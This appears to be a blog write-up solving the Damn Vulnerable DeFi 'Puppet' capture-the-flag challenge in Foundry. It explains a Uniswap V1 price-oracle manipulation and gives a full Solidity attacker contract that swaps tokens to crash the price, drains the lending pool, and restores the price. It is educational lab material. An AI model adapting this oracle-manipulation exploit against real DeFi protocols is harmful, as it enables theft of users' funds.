Challenge #8 - Puppet#
In order to learn Solidity and Foundry systematically, I have rewritten the solution to DamnVulnerableDeFi based on the Foundry testing framework. Welcome to discuss and collaborate! 🎉
Contracts#
- PuppetPool: Provides the "borrow" method for users to purchase tokens using ETH, with the token price sourced from Uniswap.
Testing#
- Deploy the DamnValuableToken contract, deploy the UniswapV1Factory and UniswapV1Exchange contracts, and complete the initialization of the exchange.
- Deploy the PuppetPool contract, passing in the DamnValuableToken and UniswapV1Exchange contracts.
- Provide liquidity to the UniswapV1Exchange for a 1:1 ratio of token to ETH.
- Set the token balances of the player and pool contracts to PLAYER_INITIAL_TOKEN_BALANCE and POOL_INITIAL_TOKEN_BALANCE, respectively.
- Execute the testing script.
- Expect the player's nonce to be 1, the token balance in the pool to be 0, and the token balance in the player's account to be greater than POOL_INITIAL_TOKEN_BALANCE.
Solution#
The approach to solving this challenge is similar to the previous one. In the "borrow" method provided by the pool, Uniswap is used as a token price oracle. Therefore, our attack strategy is to manipulate the token price in Uniswap in order to buy tokens at a lower price in the pool.
This challenge provides the Uniswap V1 contract, and only the ABI and bytecode of the contract are given. First, let's organize the interface of Uniswap V1 and the methods we need to use:
// Calculate how much ETH can be obtained by selling tokens
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
// Calculate how much ETH is needed to buy tokens
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external returns (uint256);
The complete attack process is shown in the following diagram:
- In the first step, use the
tokenToEthSwapInput
method to sell the tokens in hand and obtain ETH, thereby reducing the token price in Uniswap. - In the second step, after the token price has decreased, call the
lendingPool.borrow
method to buy tokens at a lower price. - In the third step, use the
ethToTokenSwapOutput
method to buy tokens with the ETH in hand to restore the token price in Uniswap.
By completing these three steps in one transaction, the player can obtain all the tokens in the lendingPool and achieve the attack goal.
In the specific implementation, it is worth noting the authorization step. Because the challenge requires completing the process in one transaction, but using Uniswap requires approval, it involves three-level approval from the player to the attack contract to Uniswap, which cannot be achieved in one transaction.
However, by looking at the implementation code of DamnValuableToken
, it can be seen that it implements the extended EIP-2612 LOGIC
in the ERC20 protocol, which includes the permit logic. This allows users to pre-sign off-chain and provide it for verification on-chain, thereby achieving the mechanism of delegated approval. For more information about ERC-2612, please refer to another article that introduces it.
The complete contract code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/puppet/PuppetPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
DamnValuableToken token;
PuppetPool pool;
receive() external payable{} // receive eth from uniswap
constructor(uint8 v, bytes32 r, bytes32 s,
uint256 playerAmount, uint256 poolAmount,
address _pool, address _uniswapPair, address _token) payable{
pool = PuppetPool(_pool);
token = DamnValuableToken(_token);
prepareAttack(v, r, s, playerAmount, _uniswapPair);
// swap token for eth --> lower token price in uniswap
_uniswapPair.call(abi.encodeWithSignature(
"tokenToEthSwapInput(uint256,uint256,uint256)",
playerAmount,
1,
type(uint256).max
));
// borrow token from puppt pool
uint256 ethValue = pool.calculateDepositRequired(poolAmount);
pool.borrow{value: ethValue}(
poolAmount, msg.sender
);
// repay tokens to uniswap --> recovery balance in uniswap
_uniswapPair.call{value: 10 ether}(
abi.encodeWithSignature(
"ethToTokenSwapOutput(uint256,uint256)",
playerAmount,
type(uint256).max
)
);
token.transfer(msg.sender, token.balanceOf(address(this)));
payable(msg.sender).transfer(address(this).balance);
}
function prepareAttack(uint8 v, bytes32 r, bytes32 s, uint256 amount, address _uniswapPair) internal {
// tranfser player token to attacker contract
token.permit(msg.sender, address(this), type(uint256).max, type(uint256).max, v,r,s);
token.transferFrom(msg.sender, address(this), amount);
token.approve(_uniswapPair, amount);
}
}
Translation: